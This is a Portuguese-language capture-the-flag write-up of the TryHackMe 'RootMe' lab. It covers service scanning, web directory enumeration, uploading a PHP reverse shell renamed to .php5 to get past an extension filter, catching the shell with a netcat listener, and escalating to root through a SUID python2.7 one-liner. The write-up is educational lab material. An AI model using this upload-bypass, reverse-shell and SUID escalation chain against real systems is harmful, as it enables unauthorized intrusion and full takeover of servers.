Try Hack Me - RootMe#

1.1. Varredura com Nmap#

Usei o Nmap com o script -sV para detectar as versões dos serviços.

1
nmap -sV 10.10.2.78

Resultado:

1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-04 19:18 -03
2
Nmap scan report for 10.10.2.78
3
Host is up (0.20s latency).
4
Not shown: 998 closed tcp ports (reset)
5
PORT   STATE SERVICE VERSION
6
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
7
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TIP

Pontos de Interesse Encontrados:

• Porta 22: SSH (OpenSSH 8.2p1)
• Porta 80: HTTP (Apache httpd 2.4.41)

1.2. Enumeração de Diretórios Web#

Com um servidor web ativo, o próximo passo foi procurar por diretórios e arquivos ocultos usando o GoBuster.

1
gobuster dir -u http://10.10.2.78/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Resultado:

1
/uploads              (Status: 301) [Size: 310] [--> http://10.10.2.78/uploads/]
2
/css                  (Status: 301) [Size: 306] [--> http://10.10.2.78/css/]
3
/js                   (Status: 301) [Size: 305] [--> http://10.10.2.78/js/]
4
/panel                (Status: 301) [Size: 308] [--> http://10.10.2.78/panel/]

O diretório /panel/ parece ser o mais promissor para investigação.

2.1. Preparando o Payload#

Utilizei o conhecido script php-reverse-shell do Pentestmonkey.

WARNING

Modificação Necessária: O servidor não executava arquivos com a extensão .php. Foi necessário renomear o payload para shell.php5 para que o upload e a execução funcionassem.

2.2. Execução#

1. Iniciei um listener na minha máquina local com netcat para receber a conexão reversa:

   1
   nc -lvnp 1234
   

2. Fiz o upload do arquivo shell.php5 através do formulário e o acessei pelo navegador (provavelmente em /uploads/shell.php5).
3. O listener recebeu a conexão, concedendo um shell como o usuário www-data:

   1
   listening on [any] 1234 ...
   2
   connect to [10.9.1.139] from (UNKNOWN) [10.10.2.78] 40272
   3
   Linux ip-10-10-2-78 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
   4
   22:53:43 up 37 min,  0 users,  load average: 0.00, 0.00, 0.00
   5
   uid=33(www-data) gid=33(www-data) groups=33(www-data)    /bin/sh: 0: can't access tty; job control turned off
   

2.3. Capturando a Flag do Usuário#

Com o acesso inicial, procurei pela flag user.txt.

1
$ find / -type f -name "user.txt" 2>/dev/null
2
/var/www/user.txt
3
$ cat /var/www/user.txt

IMPORTANT

user.txt: THM{...user_flag...}

3.1. Identificando o Vetor#

Usei o comando find para listar todos os arquivos no sistema com o bit SUID ativado.

1
$ find / -perm -4000 -type f 2>/dev/null

Um resultado se destacou:

1
/usr/bin/python2.7

O binário /usr/bin/python2.7 com permissão SUID é um vetor conhecido de escalação de privilégios.

3.2. Exploração com GTFOBins#

O site GTFOBins possui o comando exato para explorar essa vulnerabilidade e obter um shell com os privilégios do dono do arquivo (neste caso, root).

Executei o seguinte comando no shell www-data:

1
$ /usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

O parâmetro -p no sh garante que o effective user ID seja mantido, resultando em um shell de root.

3.3. Capturando a Flag Root#

Agora como root, bastou encontrar e ler a flag final.

1
find / -type f -name "root.txt" 2>/dev/null
2
/root/root.txt
3
cat /root/root.txt

IMPORTANT

root.txt: THM{...root_flag...}